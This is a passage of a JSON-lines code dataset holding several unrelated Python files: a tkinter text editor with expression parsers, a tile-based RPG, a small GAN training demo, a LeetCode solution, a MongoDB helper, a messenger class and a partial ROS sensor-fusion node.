lines.append(prefix + \" \" + str(k) + \" = \" + str(v))\n return False\n self._parent_bfs(stringifiy_items)\n print(\"\\n\".join(lines))\n\n def set_info(self, key, val):\n self._info[key] = val\n\n def find_info_owner(self, key):\n \"\"\"Go through the parents (breadth first) and find the info\n\n Raises:\n KeyError\n \"\"\"\n condition = lambda obj, val: obj.has_info(key)\n matching_parent = self._parent_bfs(condition)\n if matching_parent is None:\n raise KeyError(\"info '{0}' is nowhere to be found\".format(key))\n else:\n return matching_parent\n\n def find_info(self, key):\n \"\"\"Go through the parents (breadth first) and find the info\n\n Raises:\n KeyError\n \"\"\"\n matching_parent = self.find_info_owner(key)\n return matching_parent.get_info(key)\n\n def update_info(self, key, val, fallback=True):\n \"\"\"Update an existing key if found, or fall back to add_info\"\"\"\n try:\n matching_parent = self.find_info_owner(key)\n matching_parent.set_info(key, val)\n except KeyError:\n if fallback:\n self.set_info(key, val)\n else:\n raise\n\n ##########################\n # for time related things\n\n # these _sub_* methods are intended to be overridden\n def _sub_translate_time(self, time): # pylint: disable=no-self-use\n return NotImplemented\n\n def _sub_format_time(self, time, style): # pylint: disable=unused-argument,no-self-use\n return NotImplemented\n\n def _sub_time_as_datetime(self, time, epoch): # pylint: disable=no-self-use\n return NotImplemented\n\n # these routines should not be overridden\n def _translate_time(self, time):\n \"\"\"Translate time from one representation to a float\n\n Note:\n do not override this function, instead override\n _sub_translate_time since that is automagically\n monkey-patched along the tree of datasets / grids / fields\n\n Returns:\n NotImplemented or float representation of time for the\n current dataset\n \"\"\"\n getvalue = lambda obj: obj._sub_translate_time(time) # pylint: disable=protected-access\n condition = lambda obj, val: val != NotImplemented\n _, val = self._parent_bfs(condition, getvalue) # pylint: disable=unpacking-non-sequence,unbalanced-tuple-unpacking\n if val is not None:\n return val\n\n # parse a string, if that's what time is\n if isinstance(time, string_types):\n time = time.lstrip(ascii_letters)\n # there MUST be a better way to do this than 3 nested trys\n try:\n time = datetime.strptime(time, \"%H:%M:%S.%f\")\n except ValueError:\n try:\n time = datetime.strptime(time, \"%d:%H:%M:%S.%f\")\n except ValueError:\n try:\n time = datetime.strptime(time, \"%m:%d:%H:%M:%S.%f\")\n except ValueError:\n pass\n\n # figure out the datetime, if that's what time is\n if isinstance(time, datetime):\n delta = time - datetime.strptime(\"00\", \"%S\")\n return delta.total_seconds()\n\n return NotImplemented\n\n def format_time(self, style=\".02f\", time=None):\n \"\"\"Format time as a string\n\n See Also:\n :py:func:`viscid.vutil.format_time`\n\n Returns:\n string\n \"\"\"\n if time is None:\n time = self.time\n\n getvalue = lambda obj: obj._sub_format_time(time, style) # pylint: disable=protected-access\n condition = lambda obj, val: val != NotImplemented\n _, val = self._parent_bfs(condition, getvalue) # pylint: disable=unpacking-non-sequence,unbalanced-tuple-unpacking\n if val is not None:\n return val\n return generic_format_time(time, style)\n\n def time_as_datetime(self, time=None, epoch=None):\n \"\"\"Convert floating point time to datetime\n\n Args:\n t (float): time\n epoch (datetime): if None, uses Jan 1 1970\n \"\"\"\n getvalue = lambda obj: obj._sub_time_as_datetime(self.time, epoch) # pylint: disable=protected-access\n condition = lambda obj, val: val != NotImplemented\n _, val = self._parent_bfs(condition, getvalue) # pylint: disable=unpacking-non-sequence,unbalanced-tuple-unpacking\n if val is not None:\n return val\n\n dt = self.time_as_timedelta(self.time)\n if epoch is None:\n epoch = datetime.utcfromtimestamp(0)\n return epoch + dt\n\n def time_as_timedelta(self, time=None): # pylint: disable=no-self-use\n \"\"\"Convert floating point time to a timedelta\"\"\"\n if time is None:\n time = self.time\n return timedelta(seconds=time)\n\n\nclass Leaf(Node):\n \"\"\"Base class for fields\"\"\"\n pass\n\n##\n## EOF\n##\n","sub_path":"viscid/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":9196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"640847981","text":"from tkinter import *\nfrom tkinter.filedialog import *\nfrom esp import Encabezado as ESP\nfrom eng import Encabezado as ENG\nfrom tkinter import messagebox\n\nfrom functions import changeValues, stringLex, convertToJava\n\nimport re\n\nimport random\nimport time\n\n\nfileName = \"Sin nombre\"\n\n\ndef newFile():\n global fileName\n fileName = \"Sin nombre\"\n text.delete(0.0, END)\n\n\ndef saveFile():\n global fileName\n t = text.get(0.0, END)\n f = open(fileName, 'w')\n f.write(t)\n f.close()\n\n\ndef saveAs():\n f = asksaveasfile(mode='w', defaultextension='.txt')\n t = text.get(0.0, END)\n try:\n f.write(t.rstrip()) # delete white spaces\n except:\n showerror(title=\"Error!\", message=\"No se pudo guardar el archivo...\")\n\n\ndef openFile():\n f = askopenfile(mode='r')\n t = f.read()\n text.delete(0.0, END)\n text.insert(0.0, t)\n\n\ndef about():\n print(\"¡El idioma ha sido cambiado!\")\n\n\ndef clicked(menu, filemenu):\n print(\"About\")\n\n\ndef changeLanguage(idiomNum, menu, firstCasc, secondCasc, thirdCasc):\n idiomObj = ESP if idiomNum == 1 else ENG\n\n class Cascades:\n menu = menu\n first = firstCasc\n second = secondCasc\n third = thirdCasc\n changeValues(Cascades, idiomObj)\n\n\ndef retrieve_input():\n inputValue = text.get(\"1.0\", \"end-1c\")\n value, identificadores, operadores, reservados = stringLex(inputValue)\n print(operadores)\n LexWindow = Toplevel(root)\n LexWindow.title(\"Analizador Lexico\")\n frame1 = Frame(LexWindow)\n frame1.pack(side=TOP)\n msg = Text(frame1)\n msg.insert(INSERT, value)\n msg.pack(side=TOP, anchor=N, padx=5, pady=5)\n frame2 = Frame(LexWindow)\n frame2.pack(side=BOTTOM)\n msg2 = Text(frame2, height=50, width=25)\n msg2.insert(INSERT,identificadores)\n msg2.pack(side=LEFT)\n msg3 = Text(frame2, height=50, width=25)\n msg3.insert(INSERT,operadores)\n msg3.pack(side=LEFT)\n msg4 = Text(frame2, height=50, width=25)\n msg4.insert(INSERT,reservados)\n msg4.pack(side=LEFT)\n exitButton = Button(frame2, text=\"Salir\", command=LexWindow.destroy)\n exitButton.pack(side=BOTTOM)\n\n\ndef open_symb_table():\n inputValue = text.get(\"1.0\", \"end-1c\")\n output = \"\"\n token = \"\" \n\n splitLines = inputValue.splitlines()\n for numLine, textLine in enumerate(splitLines):\n token= \"\"\n for charLength, letter in enumerate(textLine):\n spaceOrTab = False\n spaceOrTab = re.match(r'(\\s|\\t)',letter)\n if spaceOrTab:\n continue\n \n output = output + letter\ndef open_tree_expression(markedText):\n \n LexWindow = Toplevel(root)\n LexWindow.title(\"Tabla de simbolos\")\n LexWindow.minsize(width=400, height=300)\n LexWindow.maxsize(width=400, height=600)\n msg = Message(LexWindow, width=400, text=markedText)\n msg.pack()\n exitButton = Button(LexWindow, text=\"Salir\", command=LexWindow.destroy)\n exitButton.pack()\n OPERATORS = set(['+', '-', '*', '/', '(', ')'])\n PRIORITY = {'+':1, '-':1, '*':2, '/':2}\n\n\n ### INFIX ===> POSTFIX ###\n '''\n 1)Fix a priority level for each operator. For example, from high to low:\n 3. - (unary negation)\n 2. * /\n 1. + - (subtraction)\n 2) If the token is an operand, do not stack it. Pass it to the output. \n 3) If token is an operator or parenthesis:\n 3.1) if it is '(', push\n 3.2) if it is ')', pop until '('\n 3.3) push the incoming operator if its priority > top operator; otherwise pop.\n *The popped stack elements will be written to output. \n 4) Pop the remainder of the stack and write to the output (except left parenthesis)\n '''\n def infix_to_postfix(formula):\n stack = [] # only pop when the coming op has priority \n output = ''\n for ch in formula:\n if ch not in OPERATORS:\n output += ch\n elif ch == '(':\n stack.append('(')\n elif ch == ')':\n while stack and stack[-1] != '(':\n output += stack.pop()\n stack.pop() # pop '('\n else:\n while stack and stack[-1] != '(' and PRIORITY[ch] <= PRIORITY[stack[-1]]:\n output += stack.pop()\n stack.append(ch)\n # leftover\n while stack: output += stack.pop()\n print(output)\n return output\n\n\n ### POSTFIX ===> INFIX ###\n '''\n 1) When see an operand, push\n 2) When see an operator, pop out two numbers, connect them into a substring and push back to the stack\n 3) the top of the stack is the final infix expression.\n '''\n def postfix_to_infix(formula):\n stack = []\n prev_op = None\n for ch in formula:\n if not ch in OPERATORS:\n stack.append(ch)\n else:\n b = stack.pop()\n a = stack.pop()\n if prev_op and len(a) > 1 and PRIORITY[ch] > PRIORITY[prev_op]:\n # if previous operator has lower priority\n # add '()' to the previous a\n expr = '('+a+')' + ch + b\n else:\n expr = a + ch + b\n stack.append(expr)\n prev_op = ch\n print( stack[-1])\n return stack[-1]\n\n\n ### INFIX ===> PREFIX ###\n def infix_to_prefix(formula):\n op_stack = []\n exp_stack = []\n for ch in formula:\n if not ch in OPERATORS:\n exp_stack.append(ch)\n elif ch == '(':\n op_stack.append(ch)\n elif ch == ')':\n while op_stack[-1] != '(':\n op = op_stack.pop()\n a = exp_stack.pop()\n b = exp_stack.pop()\n exp_stack.append( op+b+a )\n op_stack.pop() # pop '('\n else:\n while op_stack and op_stack[-1] != '(' and PRIORITY[ch] <= PRIORITY[op_stack[-1]]:\n op = op_stack.pop()\n a = exp_stack.pop()\n b = exp_stack.pop()\n exp_stack.append( op+b+a )\n op_stack.append(ch)\n \n # leftover\n while op_stack:\n op = op_stack.pop()\n a = exp_stack.pop()\n b = exp_stack.pop()\n exp_stack.append( op+b+a )\n print( exp_stack[-1])\n return exp_stack[-1]\n\n\n ### PREFIX ===> INFIX ###\n '''\n Scan the formula reversely\n 1) When the token is an operand, push into stack\n 2) When the token is an operator, pop out 2 numbers from stack, merge them and push back to the stack\n '''\n def prefix_to_infix(formula):\n stack = []\n prev_op = None\n for ch in reversed(formula):\n if not ch in OPERATORS:\n stack.append(ch)\n else:\n a = stack.pop()\n b = stack.pop()\n if prev_op and PRIORITY[prev_op] < PRIORITY[ch]:\n exp = '('+a+')'+ch+b\n else:\n exp = a+ch+b\n stack.append(exp)\n prev_op = ch\n print( stack[-1])\n return stack[-1]\n\n\n '''\n Scan the formula:\n 1) When the token is an operand, push into stack; \n 2) When an operator is encountered: \n 2.1) If the operator is binary, then pop the stack twice \n 2.2) If the operator is unary (e.g. unary minus), pop once \n 3) Perform the indicated operation on two poped numbers, and push the result back\n 4) The final result is the stack top.\n '''\n def evaluate_postfix(formula):\n stack = []\n for ch in formula:\n if ch not in OPERATORS:\n stack.append(float(ch))\n else:\n b = stack.pop()\n a = stack.pop()\n c = {'+':a+b, '-':a-b, '*':a*b, '/':a/b}[ch]\n stack.append(c)\n print( stack[-1])\n return stack[-1]\n\n\n def evaluate_infix(formula):\n return evaluate_postflix(inflix_to_postfix(formula))\n\n\n ''' Whenever we see an operator following by two numbers, \n we can compute the result.'''\n def evaluate_prefix(formula):\n exps = list(formula)\n while len(exps) > 1:\n for i in range(len(exps)-2):\n if exps[i] in OPERATORS:\n if not exps[i+1] in OPERATORS and not exps[i+2] in OPERATORS:\n op, a, b = exps[i:i+3]\n a,b = map(float, [a,b])\n c = {'+':a+b, '-':a-b, '*':a*b, '/':a/b}[op]\n exps = exps[:i] + [c] + exps[i+3:]\n break\n print( exps)\n return exps[-1]\n\n\n if __name__ == '__main__':\n infix_to_postfix(markedText)\n ruut=Tk()\n ruut.geometry(\"1200x600\")\n myCanvas = Canvas(ruut, width=1200,height=600,bg=\"black\")\n myCanvas.pack()\n ruut.configure(background=\"black\")\n ruut.attributes(\"-topmost\", True)\n x_first=600\n y_first=50\n vals=infix_to_postfix(markedText)\n circles=dict()\n j=0\n def create_circle(x,y,r,canvasName):\n x0=x-r\n y0=y-r\n x1=x+r\n y1=y+r\n return canvasName.create_oval(x0,y0,x1,y1,fill=\"red\")\n def line(x1,y1,x2,y2,canvasName):\n return canvasName.create_line(x1,y1,x2,y2,fill=\"white\",width=2,smooth=True)\n c=x_first\n d=y_first\n cf=1/(len(vals)-1)\n def create_tree(c,d,i=0,mc=1.2):\n \n if i\",show)\ntext.pack()\n\n\n\n\n\n\nmenu = Menu(root)\nroot.config(menu=menu)\nfilemenu = Menu(menu)\nicons = PhotoImage(file='python.gif')\nicons = icons.subsample(8, 8)\nopenfile = PhotoImage(file='help.gif')\nopenfile = openfile.subsample(8, 8)\nmenu.add_cascade(label=ESP.archivo, image=icons, compound=LEFT, menu=filemenu)\n\nfilemenu.add_command(label=ESP.nuevo, command=newFile)\nfilemenu.add_command(label=ESP.abrir, command=openFile)\nfilemenu.add_command(label=ESP.guardar, command=saveFile)\nfilemenu.add_command(label=ESP.guardarComo, command=saveAs)\nfilemenu.add_separator()\nfilemenu.add_command(label=ESP.cerrar, command=root.quit)\n\n\n\nhelpmenu = Menu(menu)\nmenu.add_cascade(label=ESP.ayuda, image=openfile, compound=LEFT, menu=helpmenu)\nhelpmenu.add_command(label=ESP.acerca, command=clicked)\n\nlanguages = Menu(menu)\nmenu.add_cascade(label=ESP.idiomas, image=icons, compound=LEFT, menu=languages)\nlanguages.add_command(label=\"Español\", command=lambda: changeLanguage(1, menu, filemenu, helpmenu, languages))\nlanguages.add_command(label=\"Ingles\", command=lambda: changeLanguage(2, menu, filemenu, helpmenu, languages))\n\nlex = Menu(menu)\nmenu.add_cascade(label=\"LEX\", image=icons, compound=LEFT, menu=lex)\nlex.add_command(label=\"Abrir\", command=lambda: retrieve_input())\n\ntbs = Menu(menu)\nmenu.add_cascade(label=\"Expresion\", image=icons, compound=LEFT, menu=tbs)\ntbs.add_command(label=\"Abrir\", command=lambda: open_symb_table())\n\nswitchLanguage = Menu(menu)\nmenu.add_cascade(label=\"Switch\", image=icons, compound=LEFT, menu=switchLanguage)\nswitchLanguage.add_command(label=\"Java\", command=lambda: changeToJava())\n\nmainloop()\n\n\n\n\n","sub_path":"editortext.py","file_name":"editortext.py","file_ext":"py","file_size_in_byte":15261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"446087004","text":"from tkinter import *\n\nclass GameLogic():\n\n def __init__(self, width = 600, height = 600, ):\n self.root = Tk()\n self.width = width\n self.height = height\n self.canvas = Canvas(self.root, width=self.width, height=self.height)\n self.hero = Hero()\n self.area = Area()\n self.canvas.bind(\"\", self.control)\n self.canvas.pack()\n self.canvas.focus_set() # Select the canvas to be in focused so it actually recieves the key hittings\n self.area.tiles_and_walls(self.canvas, self.width, self.height)\n self.hero.hero_draw(self.canvas, 'down', self.hero.hero_coordinates[0] * self.width/10, self.hero.hero_coordinates[1] * self.height/10)\n self.root.mainloop()\n\n\n def position_check(self, x, y):\n if 0 <= x <= 9 and 0 <= y <= 9:\n if self.area.map[y][x] == 0:\n return True\n else:\n return False\n else:\n return False\n\n\n def control(self, e):\n if e.keycode == 8320768:\n if self.position_check(self.hero.hero_coordinates[0] ,self.hero.hero_coordinates[1] - 1):\n self.hero.hero_coordinates[1] -= 1\n self.hero.hero_draw(self.canvas, 'up', self.hero.hero_coordinates[0] * self.width/10, self.hero.hero_coordinates[1] * self.height/10)\n\n\n elif e.keycode == 8255233:\n if self.position_check(self.hero.hero_coordinates[0] ,self.hero.hero_coordinates[1] + 1):\n self.hero.hero_coordinates[1] += 1\n self.hero.hero_draw(self.canvas, 'down', self.hero.hero_coordinates[0] * self.width/10, self.hero.hero_coordinates[1] * self.height/10)\n\n\n elif e.keycode == 8189699:\n if self.position_check(self.hero.hero_coordinates[0] + 1,self.hero.hero_coordinates[1]):\n self.hero.hero_coordinates[0] += 1\n self.hero.hero_draw(self.canvas, 'right', self.hero.hero_coordinates[0] * self.width/10, self.hero.hero_coordinates[1] * self.height/10)\n\n\n elif e.keycode == 8124162:\n if self.position_check(self.hero.hero_coordinates[0] - 1,self.hero.hero_coordinates[1]):\n self.hero.hero_coordinates[0] -= 1\n self.hero.hero_draw(self.canvas, 'left', self.hero.hero_coordinates[0] * self.width/10, self.hero.hero_coordinates[1] * self.height/10)\n\n\nclass Area():\n \"\"\"docstring for ClassName\"\"\"\n def __init__(self):\n self.map = []\n self.floor_img = PhotoImage(file = \"floor.gif\")\n self.wall_img = PhotoImage(file = \"wall.gif\")\n\n\n def tiles_and_walls(self, canvas, width, height):\n\n self.map = [\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,1,1,1,1,0,0,0],\n [0,0,1,0,0,0,0,1,0,0],\n [0,0,1,0,0,0,0,1,0,0],\n [0,0,1,0,0,0,0,0,0,0],\n [0,0,1,0,0,1,1,1,0,0],\n [0,0,1,0,0,0,0,1,0,0],\n [0,0,0,1,1,1,1,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0]\n ]\n \n for row in range(len(self.map)):\n for cell in range(len(self.map[row])):\n if self.map[cell][row] == 0:\n canvas.create_image(row*width/10, cell*height/10, anchor=NW, image=self.floor_img)\n else:\n canvas.create_image(row*width/10, cell*height/10, anchor=NW, image=self.wall_img)\n\n\nclass Hero():\n \"\"\"docstring for Hero\"\"\"\n def __init__(self):\n self.hero_down = PhotoImage(file = \"hero-down.gif\")\n self.hero_up = PhotoImage(file = \"hero-up.gif\")\n self.hero_left = PhotoImage(file = \"hero-left.gif\")\n self.hero_right = PhotoImage(file = \"hero-right.gif\")\n self.hero_coordinates = [0,0]\n self.hero = None\n\n\n\n def hero_draw(self, canvas, turn, x, y):\n\n if turn == 'down':\n canvas.delete(self.hero)\n self.hero = canvas.create_image(x, y, image = self.hero_down, anchor = NW)\n\n elif turn == 'up':\n canvas.delete(self.hero)\n self.hero = canvas.create_image(x, y, image = self.hero_up, anchor = NW)\n\n elif turn == 'right':\n canvas.delete(self.hero)\n self.hero = canvas.create_image(x, y, image = self.hero_right, anchor = NW)\n\n elif turn == 'left':\n canvas.delete(self.hero)\n self.hero = canvas.create_image(x, y, image = self.hero_left, anchor = NW)\n\n\nclass Skeleton():\n def __init__(self):\n self.skeleton = PhotoImage(file = \"skeleton.gif\")\n\n\nclass Boss():\n def __init__(self):\n self.boss = PhotoImage(file = \"boss.gif\")\n\n\n\n\n\n\n\n\n\n\n\ngame = GameLogic()","sub_path":"new_rpg.py","file_name":"new_rpg.py","file_ext":"py","file_size_in_byte":4594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"274935003","text":"import torch\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n# Target distribution samples Gamma distributed\ngamma = torch.distributions.Gamma(1, 3)\nX_true = gamma.sample((1000, 1))\n\n# Target distribution samples MoG distributed (Exhibits mode collapse)\n# X_0 = torch.randn(1000)\n# X_true = torch.cat([torch.randn(500)*0.33 + 1.5, torch.randn(500)*0.16 - 0.5]).reshape(-1,1)\n\n# Simple discriminator class\nclass Discriminator(torch.nn.Module):\n def __init__(self, n_inputs, n_hidden_1, n_outputs):\n super(Discriminator, self).__init__()\n self.L1 = torch.nn.Linear(n_inputs, n_hidden_1)\n self.L2 = torch.nn.Linear(n_hidden_1, n_outputs)\n\n def forward(self, x):\n h_1 = torch.tanh(self.L1(x))\n y = torch.sigmoid(self.L2(h_1))\n return y\n\n\n# Simple generator class\nclass Generator(torch.nn.Module):\n def __init__(self, n_inputs, n_hidden_1, n_outputs):\n super(Generator, self).__init__()\n self.L1 = torch.nn.Linear(n_inputs, n_hidden_1)\n self.L2 = torch.nn.Linear(n_hidden_1, n_outputs)\n\n def forward(self, z):\n h_1 = torch.tanh(self.L1(z))\n y = self.L2(h_1)\n return y\n\n\n# Instantiate discriminator and generators\nd = Discriminator(1, 16, 1)\ng = Generator(1, 16, 1)\nZ_0 = torch.randn(1000, 1)\n\n# Run for 25000 iterations\nn_iters = 2500\n\n# Number of samples per update step\nm = 64\n\n# Number of discriminator updates per generator update\nk = 1\n\n# Separate optimizers for discriminator and generator\noptimizer_disc = torch.optim.RMSprop(d.parameters(), lr=1e-2, weight_decay=0)\noptimizer_gen = torch.optim.RMSprop(g.parameters(), lr=1e-4, weight_decay=1e-3)\n\n# Animate the training process\nplt.ion()\nfig, axs = plt.subplots(nrows=2, ncols=1)\nfig.subplots_adjust(hspace=0)\nbins = np.linspace(-1, 3, 51)\na_true = np.argsort(X_true.detach().numpy().ravel())\n\n# Loop over n_iters epochs\nfor i in range(n_iters):\n # Train the discriminator\n for j in range(k):\n optimizer_disc.zero_grad()\n optimizer_gen.zero_grad()\n\n # Draw a random sample from the observations\n X_sample = X_true[torch.randperm(len(X_true))[:m]]\n\n # Draw a random sample from the latent variables, and run through\n # the generator to produce \"fake\" X\n z = torch.randn(m, 1)\n X_fake = g(z)\n\n # Run the discriminator on both true and fake samples\n D_true = d(X_sample)\n D_fake = d(X_fake)\n\n # Compute BCE loss for discriminator\n cost_disc = -torch.mean(\n torch.log(D_true) + torch.log(1 - D_fake)\n ) # Goodfellow Eq. 1\n\n # Update discriminator parameters\n cost_disc.backward()\n optimizer_disc.step()\n\n # Train the generator\n optimizer_disc.zero_grad()\n optimizer_gen.zero_grad()\n\n # Draw a random sample from the latent variables, and run through the\n # generator to produce \"fake\" X\n z = torch.randn(m, 1)\n X_fake = g(z)\n\n # Run through the discriminator\n D_fake = d(X_fake)\n\n # Update generator parameters so that it does a better job fooling\n # the discriminator\n cost_gen = torch.mean(\n -torch.log(D_fake)\n ) # Per Goodfellow, this does better than log(1 - D_fake)\n\n # Update generator parameters\n cost_gen.backward()\n optimizer_gen.step()\n print(cost_disc.item(), cost_gen.item())\n if i % 50 == 0:\n ax = axs[0]\n ax.cla()\n\n # Create fake samples for plotting\n X_f = g(Z_0)\n # Evaluate descriminator over all X in a reasonable domain\n dd = d(torch.tensor(bins, dtype=torch.float).reshape(-1, 1))\n\n # Plot histogram of true samples\n ax.hist(\n X_true.detach().numpy().ravel(),\n bins,\n density=True,\n histtype=\"step\",\n linestyle=(0, (1, 2)),\n linewidth=2.0,\n color=\"black\",\n )\n # Plot histogram of fake samples\n ax.hist(\n X_f.detach().numpy().ravel(),\n bins,\n density=True,\n histtype=\"step\",\n linestyle=\"solid\",\n color=\"green\",\n )\n # Plot discriminator probability as a function of X\n ax.plot(bins, dd.detach().numpy().ravel(), \"b:\")\n ax.set_xlim(bins.min(), bins.max())\n ax.set_ylim(0, 2.5)\n ax.set_xticks([])\n ax.set_ylabel(\"P(X)\")\n\n ax = axs[1]\n ax.cla()\n [\n plt.plot([z, x], [0.0, 1.0], \"k-\")\n for z, x in zip(Z_0[::100], X_f[::100])\n ]\n ax.set_xlim(bins.min(), bins.max())\n ax.set_ylim(0, 1)\n ax.set_yticks([])\n ax.set_xlabel(\"Z(bottom) - X(top)\")\n\n plt.pause(1e-10)\n","sub_path":"little_gan.py","file_name":"little_gan.py","file_ext":"py","file_size_in_byte":4678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"585896177","text":"# 请设计一个函数,用来判断在一个矩阵中是否存在一条包含某字符串所有字符的路径。路径可以从矩阵中的任意一格开始,每一步可以在矩阵中向左、右、上、下移动一格。如果\n# 一条路径经过了矩阵的某一格,那么该路径不能再次进入该格子。例如,在下面的3×4的矩阵中包含一条字符串“bfce”的路径(路径中的字母用加粗标出)。 \n# \n# [[\"a\",\"b\",\"c\",\"e\"], \n# [\"s\",\"f\",\"c\",\"s\"], \n# [\"a\",\"d\",\"e\",\"e\"]] \n# \n# 但矩阵中不包含字符串“abfb”的路径,因为字符串的第一个字符b占据了矩阵中的第一行第二个格子之后,路径不能再次进入这个格子。 \n# \n# \n# \n# 示例 1: \n# \n# \n# 输入:board = [[\"A\",\"B\",\"C\",\"E\"],[\"S\",\"F\",\"C\",\"S\"],[\"A\",\"D\",\"E\",\"E\"]], word = \"AB\n# CCED\"\n# 输出:true\n# \n# \n# 示例 2: \n# \n# \n# 输入:board = [[\"a\",\"b\"],[\"c\",\"d\"]], word = \"abcd\"\n# 输出:false\n# \n# \n# \n# \n# 提示: \n# \n# \n# 1 <= board.length <= 200 \n# 1 <= board[i].length <= 200 \n# \n# \n# 注意:本题与主站 79 题相同:https://leetcode-cn.com/problems/word-search/ \n# Related Topics 深度优先搜索 \n# 👍 290 👎 0\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nclass Solution:\n def exist(self, board: List[List[str]], word: str) -> bool:\n m, n = len(board), len(board[0])\n\n def dfs(i, j, k):\n if not 0 <= i < m or not 0 <= j < n or board[i][j] != word[k]: return False\n if k == len(word) - 1: return True\n board[i][j] = ''\n res = dfs(i+1, j, k+1) or dfs(i-1, j, k+1) or dfs(i, j+1, k+1) or dfs(i, j-1, k+1)\n board[i][j] = word[k]\n return res\n\n for i in range(m):\n for j in range(n):\n if dfs(i, j, 0):\n return True\n return False\n# leetcode submit region end(Prohibit modification and deletion)\n","sub_path":"CS-Notes/leetcode/editor/cn/[剑指 Offer 12]矩阵中的路径.py","file_name":"[剑指 Offer 12]矩阵中的路径.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"603735592","text":"import pymongo\nclient = pymongo.MongoClient()\ndb = client[\"voteview\"]\n\ndef readStatus():\n\tres = db.voteview_members.find({\"wikiStatus\": 0},{\"bioName\": 1, \"icpsr\": 1, \"stateName\": 1, \"cqlabel\": 1, \"born\": 1, \"died\": 1, \"bio\": 1, \"partyname\": 1, \"wiki\": 1, \"_id\": 0}).sort('icpsr', pymongo.ASCENDING).limit(100)\n\tfor r in res:\n\t\tif \"wiki\" in r:\n\t\t\tbreak\n\t\n\tif not r:\n\t\treturn \"All done!\"\n\n\treturn r\n\ndef writeStatus(id, status):\n\tdb.voteview_members.update({\"icpsr\": int(id)}, {'$set': {\"wikiStatus\": int(status)}}, upsert=False, multi=True)\n","sub_path":"model/raWIKI.py","file_name":"raWIKI.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"320486927","text":"from multiprocessing import Process\n\nimport Moana.Core.Messenger.PubSub.Publisher as mPublisher\n\nimport Moana.Core.Logger.Logger as mLogger\nimport Moana.Core.Messenger.PubSub.Subscriber as mSubscriber\nimport Moana.Core.QueueManager.QueueManager as mQueueManager\nimport Moana.Core.Ruler.Ruler as mRuler\nimport Moana.Core.Json.Json as mJson\nimport Moana.Core.WorkerManager.WorkerManager as mWorkerManager\n\nclass BaseMessenger:\n def __init__(self):\n self._logger = mLogger.Logger.logger()\n self._ruler = mRuler.Ruler.ruler()\n self._json = mJson.Json.json()\n\n self._workerManager = mWorkerManager.WorkerManager.workerManager()\n self._queueManager = mQueueManager.QueueManager.queueManager()\n\n self._class = self._ruler.getConfig(\"class\")\n\n self._pubQueue = self._queueManager.createQueue(\"Publisher\")\n self._reqQueue = self._queueManager.createQueue(\"Request\")\n self._repQueue = self._queueManager.createQueue(\"Reply\")\n\n self._messenger = {}\n\n self._logger.info(\"Generated {0}\".format(self))\n\n def __repr__(self):\n return type(self).__name__\n\n def _createPubSub(self):\n self._logger.debug(\"Create Pub Sub pattern\")\n\n name = \"Subscriber\"\n subscriber = mSubscriber.Subscriber()\n self._messenger[name] = \\\n Process(target=subscriber.run, \\\n args=(name,))\n self._workerManager.addWorker( \\\n name, self._messenger[name], self)\n\n publisher = mPublisher.Publisher()\n name = \"Publisher\"\n self._messenger[name] = \\\n Process(target=publisher.run, \\\n args=(name,))\n self._workerManager.addWorker( \\\n name, self._messenger[name], self)\n\n def _createReqRep(self):\n self._logger.debug(\"Create Req Rep pattern\")\n\n def createWorkers(self):\n classType = self._ruler.getConfig(\"class\")\n\n if classType in (\"master\", \"servant\"):\n self._createPubSub()\n\n if classType in (\"servant\", \"client\"):\n self._createReqRep()\n\n self._createReqRep()\n\n def sendPacket(self, packet, caller = None):\n self._json.movingPacket(caller, self, packet)\n\n if self._pubQueue:\n self._pubQueue.put(packet)\n else:\n self._logger.critical(\"pubQueue is not set\")\n\nclass Messenger(BaseMessenger):\n _instance = None\n\n @classmethod\n def messenger(cls, *args, **kwargs):\n if not cls._instance:\n cls._instance = cls(*args, **kwargs)\n\n return cls._instance","sub_path":"Moana/Core/Messenger/Messenger.py","file_name":"Messenger.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"196235018","text":"#!/usr/bin/env python\n\n\nimport rospy\nimport cv2\nfrom std_msgs.msg import String\nfrom cv_bridge import CvBridge, CvBridgeError\nimport sensor_msgs.point_cloud2 as pc2\nfrom sensor_msgs.msg import PointCloud2\n#from sensor_msgs.msg import Image\nimport numpy as np\nfrom usv_perception.msg import obj_detected\nfrom usv_perception.msg import obj_detected_list\nfrom sklearn.neighbors import KDTree\nimport matplotlib.pyplot as plt\n\n\n\n\nclass detection_fusion:\n def __init__(self):\n\n rospy.Subscriber(\"/usv_perception/lidar/objects_detected\", obj_detected_list, self.callback_lidar_det)\n rospy.Subscriber(\"/usv_perception/yolo_zed/objects_detected\", obj_detected_list, self.callback_yolo_det)\n \n self.detector_fusion_pub = rospy.Publisher('/usv_perception/sensor_fusion/objects_detected', obj_detected_list, queue_size=10)\n\n self.obj_detected_lidar = obj_detected_list()\n self.obj_detected_yolo = obj_detected_list()\n\n self.obj_trackId = {}\n\n\n def objDetToDict(self, obj_det_list):\n\n obj_dict = {}\n for obj in obj_det_list.objects:\n if(obj.id != -1):\n obj_dict[obj.id] = obj\n\n return obj_dict\n \n def matchDetections(self, obj_det_lidar, obj_det_yolo):\n\n lidar_points = np.array([[obj.X, obj.Y] for obj in obj_det_lidar.objects])\n tree = KDTree(lidar_points, leaf_size=1) \n\n obj_detected_sf = obj_det_lidar\n\n for obj in obj_det_yolo.objects:\n\n query_point = np.array([obj.X + 0.30, obj.Y * -1])\n dist, ind = tree.query(query_point.reshape(1, -1), k=1) \n\n new_obj = obj_detected()\n\n if dist < 0.5:\n \n 